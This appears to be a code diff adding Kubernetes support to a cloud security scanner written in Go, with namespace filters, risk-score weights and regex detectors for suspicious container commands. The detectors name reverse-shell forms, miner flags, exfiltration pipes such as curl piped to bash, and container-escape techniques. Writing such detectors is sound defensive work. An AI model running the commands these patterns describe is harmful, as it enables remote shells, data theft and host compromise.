|
||||
targetNS[ns] = true
|
||||
}
|
||||
|
||||
var filtered []T
|
||||
for _, item := range items {
|
||||
if targetNS[getNamespace(item)] {
|
||||
filtered = append(filtered, item)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
// GetNamespaceOrAll returns the namespace to query, or empty string for all namespaces.
|
||||
// This is useful for API calls that support namespace-specific or cluster-wide queries.
|
||||
func GetNamespaceOrAll() string {
|
||||
// If a single namespace is specified, return it
|
||||
if globals.K8sNamespace != "" {
|
||||
return globals.K8sNamespace
|
||||
}
|
||||
|
||||
// If a list is specified but with only one namespace, return it
|
||||
if len(globals.K8sNamespaces) == 1 {
|
||||
return globals.K8sNamespaces[0]
|
||||
}
|
||||
|
||||
// Otherwise, return empty string to query all namespaces
|
||||
return metav1.NamespaceAll
|
||||
}
|
||||
|
||||
// ShouldCheckAdmissionController checks if a specific admission controller should be checked
|
||||
// based on the --admission-controllers flag. Returns true if:
|
||||
// - No filter is specified (empty list means check all)
|
||||
// - The controller name matches one in the filter list (case-insensitive)
|
||||
// - Any of the provided aliases match the filter list
|
||||
//
|
||||
// Example usage:
|
||||
//
|
||||
// if !shared.ShouldCheckAdmissionController("falco", "falco-security") {
|
||||
// return // Skip this controller check
|
||||
// }
|
||||
func ShouldCheckAdmissionController(controllerName string, aliases ...string) bool {
|
||||
// If no filter is specified, check all controllers
|
||||
if len(globals.K8sAdmissionControllers) == 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
// Normalize controller name for comparison
|
||||
controllerLower := strings.ToLower(controllerName)
|
||||
|
||||
// Check if controller or any alias matches the filter
|
||||
for _, filter := range globals.K8sAdmissionControllers {
|
||||
filterLower := strings.ToLower(filter)
|
||||
|
||||
// Check main controller name
|
||||
if controllerLower == filterLower || strings.Contains(controllerLower, filterLower) {
|
||||
return true
|
||||
}
|
||||
|
||||
// Check aliases
|
||||
for _, alias := range aliases {
|
||||
aliasLower := strings.ToLower(alias)
|
||||
if aliasLower == filterLower || strings.Contains(aliasLower, filterLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// GetAdmissionControllersFilter returns the configured admission controllers filter.
|
||||
// Returns nil if no filter is set (meaning check all).
|
||||
func GetAdmissionControllersFilter() []string {
|
||||
return globals.K8sAdmissionControllers
|
||||
}
|
||||
|
||||
// IsAdmissionControllersFiltered returns true if admission controller filtering is enabled.
|
||||
func IsAdmissionControllersFiltered() bool {
|
||||
return len(globals.K8sAdmissionControllers) > 0
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
package shared
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// --- Suspicious Pattern Detection Functions ---
|
||||
// These functions detect malicious patterns in container commands, args, and images.
|
||||
// Used by cronjobs, daemonsets, deployments, jobs, pods, replicasets, statefulsets.
|
||||
|
||||
// DetectReverseShells detects reverse shell patterns in commands and args
|
||||
func DetectReverseShells(commands []string, args []string) []string {
|
||||
var findings []string
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`bash\s+-i\s+>&\s+/dev/tcp/`), "Bash TCP reverse shell"},
|
||||
{regexp.MustCompile(`bash\s+-i\s+>&\s+/dev/udp/`), "Bash UDP reverse shell"},
|
||||
{regexp.MustCompile(`nc\s+-e\s+/bin/(bash|sh)`), "Netcat reverse shell"},
|
||||
{regexp.MustCompile(`nc\s+.*\s+-e\s+/bin/(bash|sh)`), "Netcat reverse shell with options"},
|
||||
{regexp.MustCompile(`mkfifo\s+/tmp/[a-z];.*nc\s+`), "Named pipe reverse shell"},
|
||||
{regexp.MustCompile(`python.*socket.*subprocess`), "Python reverse shell"},
|
||||
{regexp.MustCompile(`perl.*socket.*open\(STDIN`), "Perl reverse shell"},
|
||||
{regexp.MustCompile(`ruby.*socket.*exec`), "Ruby reverse shell"},
|
||||
{regexp.MustCompile(`php.*fsockopen.*exec`), "PHP reverse shell"},
|
||||
{regexp.MustCompile(`socat.*exec:.*pty`), "Socat reverse shell"},
|
||||
{regexp.MustCompile(`ncat.*--sh-exec`), "Ncat reverse shell"},
|
||||
{regexp.MustCompile(`telnet.*\|.*bin/(bash|sh)`), "Telnet reverse shell"},
|
||||
}
|
||||
|
||||
allText := strings.Join(append(commands, args...), " ")
|
||||
for _, p := range patterns {
|
||||
if p.regex.MatchString(allText) {
|
||||
findings = append(findings, p.desc)
|
||||
}
|
||||
}
|
||||
return findings
|
||||
}
|
||||
|
||||
// DetectCryptoMiners detects crypto mining patterns in commands, args, and images
|
||||
func DetectCryptoMiners(commands []string, args []string, images []string) []string {
|
||||
var findings []string
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`(?i)xmrig`), "XMRig crypto miner"},
|
||||
{regexp.MustCompile(`(?i)minerd`), "CPU miner (minerd)"},
|
||||
{regexp.MustCompile(`(?i)cpuminer`), "CPU miner"},
|
||||
{regexp.MustCompile(`(?i)stratum\+tcp://`), "Stratum mining pool connection"},
|
||||
{regexp.MustCompile(`(?i)--donate-level`), "Miner donation level flag"},
|
||||
{regexp.MustCompile(`(?i)--coin=monero`), "Monero mining"},
|
||||
{regexp.MustCompile(`(?i)--coin=ethereum`), "Ethereum mining"},
|
||||
{regexp.MustCompile(`(?i)--algo=cryptonight`), "CryptoNight algorithm mining"},
|
||||
{regexp.MustCompile(`(?i)ethminer`), "Ethereum miner"},
|
||||
{regexp.MustCompile(`(?i)claymore`), "Claymore miner"},
|
||||
{regexp.MustCompile(`(?i)phoenixminer`), "PhoenixMiner"},
|
||||
{regexp.MustCompile(`(?i)t-rex`), "T-Rex miner"},
|
||||
{regexp.MustCompile(`(?i)--pool=`), "Mining pool configuration"},
|
||||
{regexp.MustCompile(`(?i)--wallet=`), "Crypto wallet address"},
|
||||
{regexp.MustCompile(`(?i)--user=.*\.(worker|miner)`), "Mining worker configuration"},
|
||||
}
|
||||
|
||||
allText := strings.Join(append(append(commands, args...), images...), " ")
|
||||
for _, p := range patterns {
|
||||
if p.regex.MatchString(allText) {
|
||||
findings = append(findings, p.desc)
|
||||
}
|
||||
}
|
||||
return findings
|
||||
}
|
||||
|
||||
// DetectDataExfiltration detects data exfiltration patterns in commands and args
|
||||
func DetectDataExfiltration(commands []string, args []string) []string {
|
||||
var findings []string
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`curl.*http.*\|.*bash`), "Curl pipe to bash (backdoor download)"},
|
||||
{regexp.MustCompile(`wget.*http.*\|.*bash`), "Wget pipe to bash (backdoor download)"},
|
||||
{regexp.MustCompile(`curl.*-X\s+POST.*--data`), "HTTP POST with data (exfiltration)"},
|
||||
{regexp.MustCompile(`base64.*\|.*curl`), "Base64 encode and curl (data exfiltration)"},
|
||||
{regexp.MustCompile(`tar.*\|.*curl.*-T`), "Tar and upload via curl"},
|
||||
{regexp.MustCompile(`aws\s+s3\s+cp.*s3://`), "AWS S3 copy to external bucket"},
|
||||
{regexp.MustCompile(`gsutil\s+cp.*gs://`), "GCP Cloud Storage upload"},
|
||||
{regexp.MustCompile(`kubectl\s+cp.*:.*\.`), "kubectl cp from pod (data extraction)"},
|
||||
{regexp.MustCompile(`scp.*@.*:`), "SCP file transfer"},
|
||||
{regexp.MustCompile(`rsync.*@.*:`), "Rsync file transfer"},
|
||||
{regexp.MustCompile(`nc.*>.*\.(zip|tar|gz|tgz)`), "Netcat file transfer"},
|
||||
{regexp.MustCompile(`find\s+/.*-name.*\|.*curl`), "Find files and exfiltrate"},
|
||||
{regexp.MustCompile(`cat\s+/etc/shadow.*\|`), "Shadow file access and pipe"},
|
||||
{regexp.MustCompile(`cat\s+/etc/passwd.*\|`), "Passwd file access and pipe"},
|
||||
{regexp.MustCompile(`env.*\|.*curl`), "Environment variable exfiltration"},
|
||||
}
|
||||
|
||||
allText := strings.Join(append(commands, args...), " ")
|
||||
for _, p := range patterns {
|
||||
if p.regex.MatchString(allText) {
|
||||
// Special handling for AWS S3: exclude "internal" buckets
|
||||
if strings.Contains(p.desc, "AWS S3") && strings.Contains(allText, "s3://internal") {
|
||||
continue
|
||||
}
|
||||
findings = append(findings, p.desc)
|
||||
}
|
||||
}
|
||||
return findings
|
||||
}
|
||||
|
||||
// DetectContainerEscape detects container escape patterns in commands, args, and hostPaths
|
||||
func DetectContainerEscape(commands []string, args []string, hostPaths []string) []string {
|
||||
var findings []string
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`nsenter\s+--target\s+1`), "nsenter escape to host PID namespace"},
|
||||
{regexp.MustCompile(`nsenter.*--mount.*--uts.*--ipc.*--net.*--pid`), "nsenter full namespace escape"},
|
||||
{regexp.MustCompile(`docker\.sock`), "Docker socket access (container escape)"},
|
||||
{regexp.MustCompile(`containerd\.sock`), "Containerd socket access (container escape)"},
|
||||
{regexp.MustCompile(`crio\.sock`), "CRI-O socket access (container escape)"},
|
||||
{regexp.MustCompile(`runc`), "runc binary (potential container escape)"},
|
||||
{regexp.MustCompile(`ctr\s+`), "containerd CLI (container runtime access)"},
|
||||
{regexp.MustCompile(`crictl`), "CRI CLI (container runtime access)"},
|
||||
{regexp.MustCompile(`mount.*proc.*sys`), "Proc/sys mount (escape technique)"},
|
||||
{regexp.MustCompile(`unshare`), "unshare namespace manipulation"},
|
||||
}
|
||||
|
||||
allText := strings.Join(append(commands, args...), " ")
|
||||
for _, p := range patterns {
|
||||
if p.regex.MatchString(allText) {
|
||||
findings = append(findings, p.desc)
|
||||
}
|
||||
}
|
||||
|
||||
// Check hostPath mounts for critical escape vectors
|
||||
for _, hp := range hostPaths {
|
||||
if strings.Contains(hp, "docker.sock") {
|
||||
findings = append(findings, "HostPath: docker.sock mounted (CRITICAL escape)")
|
||||
}
|
||||
if strings.Contains(hp, "containerd.sock") {
|
||||
findings = append(findings, "HostPath: containerd.sock mounted (CRITICAL escape)")
|
||||
}
|
||||
if strings.Contains(hp, "/var/run") {
|
||||
findings = append(findings, "HostPath: /var/run mounted (socket access)")
|
||||
}
|
||||
if hp == "/" || hp == "/host" || strings.HasPrefix(hp, "/:") {
|
||||
findings = append(findings, "HostPath: root filesystem mounted (CRITICAL escape)")
|
||||
}
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
// DetectAllSuspiciousPatterns runs all pattern detection and returns combined results
|
||||
func DetectAllSuspiciousPatterns(commands []string, args []string, images []string, hostPaths []string) []string {
|
||||
var allPatterns []string
|
||||
allPatterns = append(allPatterns, DetectReverseShells(commands, args)...)
|
||||
allPatterns = append(allPatterns, DetectCryptoMiners(commands, args, images)...)
|
||||
allPatterns = append(allPatterns, DetectDataExfiltration(commands, args)...)
|
||||
allPatterns = append(allPatterns, DetectContainerEscape(commands, args, hostPaths)...)
|
||||
return allPatterns
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
package shared
|
||||
|
||||
// Risk level constants
|
||||
const (
|
||||
RiskCritical = "CRITICAL"
|
||||
RiskHigh = "HIGH"
|
||||
RiskMedium = "MEDIUM"
|
||||
RiskLow = "LOW"
|
||||
)
|
||||
|
||||
// Risk thresholds - standardized across all commands
|
||||
const (
|
||||
CriticalThreshold = 80
|
||||
HighThreshold = 50
|
||||
MediumThreshold = 25
|
||||
)
|
||||
|
||||
// Risk weights for common security issues
|
||||
const (
|
||||
// Container security weights
|
||||
WeightPrivileged = 90
|
||||
WeightHostPID = 70
|
||||
WeightHostNetwork = 60
|
||||
WeightHostIPC = 50
|
||||
WeightRunAsRoot = 40
|
||||
WeightAllowPrivEsc = 35
|
||||
WeightNoSeccomp = 25
|
||||
WeightNoAppArmor = 20
|
||||
WeightNoReadOnlyRoot = 15
|
||||
WeightDangerousCap = 30 // Per dangerous capability
|
||||
WeightSensitiveMount = 40
|
||||
WeightDockerSocket = 50
|
||||
WeightServiceAcctToken = 20
|
||||
|
||||
// Exposure weights
|
||||
WeightExternallyExposed = 40
|
||||
WeightPublicIP = 30
|
||||
WeightNoTLS = 25
|
||||
WeightDefaultPort = 10
|
||||
|
||||
// Secret weights
|
||||
WeightCloudCredentials = 60
|
||||
WeightPrivateKey = 50
|
||||
WeightExpiredCert = 40
|
||||
WeightExpiringCert = 25
|
||||
WeightUnusedSecret = 10
|
||||
WeightDefaultSAToken = 15
|
||||
|
||||
// RBAC weights
|
||||
WeightClusterAdmin = 100
|
||||
WeightWildcardPerms = 80
|
||||
WeightSecretsAccess = 50
|
||||
WeightPodsExec = 45
|
||||
WeightImpersonate = 70
|
||||
WeightEscalatePerms = 60
|
||||
WeightBindPerms = 55
|
||||
|
||||
// Node weights
|
||||
WeightAnonymousKubelet = 80
|
||||
WeightResourcePressure = 30
|
||||
WeightNotReady = 40
|
||||
WeightOldKubeletVersion = 35
|
||||
)
|
||||
|
||||
// RiskScore holds score and contributing factors
|
||||
type RiskScore struct {
|
||||
Score int
|
||||
Level string
|
||||
Factors []RiskFactor
|
||||
}
|
||||
|
||||
// RiskFactor represents a single risk contributor
|
||||
type RiskFactor struct {
|
||||
Name string
|
||||
Weight int
|
||||
Description string
|
||||
}
|
||||
|
||||
// NewRiskScore creates a new RiskScore and calculates level
|
||||
func NewRiskScore() *RiskScore {
|
||||
return &RiskScore{
|
||||
Factors: make([]RiskFactor, 0),
|
||||
}
|
||||
}
|
||||
|
||||
// AddFactor adds a risk factor and updates score
|
||||
func (r *RiskScore) AddFactor(name string, weight int, description string) {
|
||||
r.Score += weight
|
||||
r.Factors = append(r.Factors, RiskFactor{
|
||||
Name: name,
|
||||
Weight: weight,
|
||||
Description: description,
|
||||
})
|
||||
}
|
||||
|
||||
// AddFactorIf conditionally adds a risk factor
|
||||
func (r *RiskScore) AddFactorIf(condition bool, name string, weight int, description string) {
|
||||
if condition {
|
||||
r.AddFactor(name, weight, description)
|
||||
}
|
||||
}
|
||||
|
||||
// Calculate finalizes the risk level based on score
|
||||
func (r *RiskScore) Calculate() (string, int) {
|
||||
switch {
|
||||
case r.Score >= CriticalThreshold:
|
||||
r.Level = RiskCritical
|
||||
case r.Score >= HighThreshold:
|
||||
r.Level = RiskHigh
|
||||
case r.Score >= MediumThreshold:
|
||||
r.Level = RiskMedium
|
||||
default:
|
||||
r.Level = RiskLow
|
||||
}
|
||||
return r.Level, r.Score
|
||||
}
|
||||
|
||||
// CalculateWithMax returns risk level with capped score
|
||||
func (r *RiskScore) CalculateWithMax(maxScore int) (string, int) {
|
||||
if r.Score > maxScore {
|
||||
r.Score = maxScore
|
||||
}
|
||||
return r.Calculate()
|
||||
}
|
||||
|
||||
// GetIssues returns list of issue names from factors
|
||||
func (r *RiskScore) GetIssues() []string {
|
||||
issues := make([]string, len(r.Factors))
|
||||
for i, f := range r.Factors {
|
||||
issues[i] = f.Name
|
||||
}
|
||||
return issues
|
||||
}
|
||||
|
||||
// HasFactor checks if a specific factor was added
|
||||
func (r *RiskScore) HasFactor(name string) bool {
|
||||
for _, f := range r.Factors {
|
||||
if f.Name == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RiskLevelValue returns numeric value for risk level comparison
|
||||
func RiskLevelValue(level string) int {
|
||||
switch level {
|
||||
case RiskCritical:
|
||||
return 4
|
||||
case RiskHigh:
|
||||
return 3
|
||||
case RiskMedium:
|
||||
return 2
|
||||
case RiskLow:
|
||||
return 1
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
// MaxRiskLevel returns the higher of two risk levels
|
||||
func MaxRiskLevel(a, b string) string {
|
||||
if RiskLevelValue(a) >= RiskLevelValue(b) {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// RiskCounts tracks count of findings per risk level
|
||||
type RiskCounts struct {
|
||||
Critical int
|
||||
High int
|
||||
Medium int
|
||||
Low int
|
||||
}
|
||||
|
||||
// NewRiskCounts creates a new RiskCounts
|
||||
func NewRiskCounts() *RiskCounts {
|
||||
return &RiskCounts{}
|
||||
}
|
||||
|
||||
// Add increments the count for a risk level
|
||||
func (rc *RiskCounts) Add(level string) {
|
||||
switch level {
|
||||
case RiskCritical:
|
||||
rc.Critical++
|
||||
case RiskHigh:
|
||||
rc.High++
|
||||
case RiskMedium:
|
||||
rc.Medium++
|
||||
case RiskLow:
|
||||
rc.Low++
|
||||
}
|
||||
}
|
||||
|
||||
// Total returns total count across all levels
|
||||
func (rc *RiskCounts) Total() int {
|
||||
return rc.Critical + rc.High + rc.Medium + rc.Low
|
||||
}
|
||||
|
||||
// ToMap returns counts as a map
|
||||
func (rc *RiskCounts) ToMap() map[string]int {
|
||||
return map[string]int{
|
||||
RiskCritical: rc.Critical,
|
||||
RiskHigh: rc.High,
|
||||
RiskMedium: rc.Medium,
|
||||
RiskLow: rc.Low,
|
||||
}
|
||||
}
|
||||
@@ -16,6 +16,6 @@ var (
|
||||
)
|
||||
|
||||
func main() {
|
||||
rootCmd.AddCommand(cli.AWSCommands, cli.AzCommands, cli.GCPCommands)
|
||||
rootCmd.AddCommand(cli.AWSCommands, cli.AzCommands, cli.GCPCommands, cli.K8sCommands)
|
||||
rootCmd.Execute()
|
||||
}
|
||||
Reference in new issue
Block a user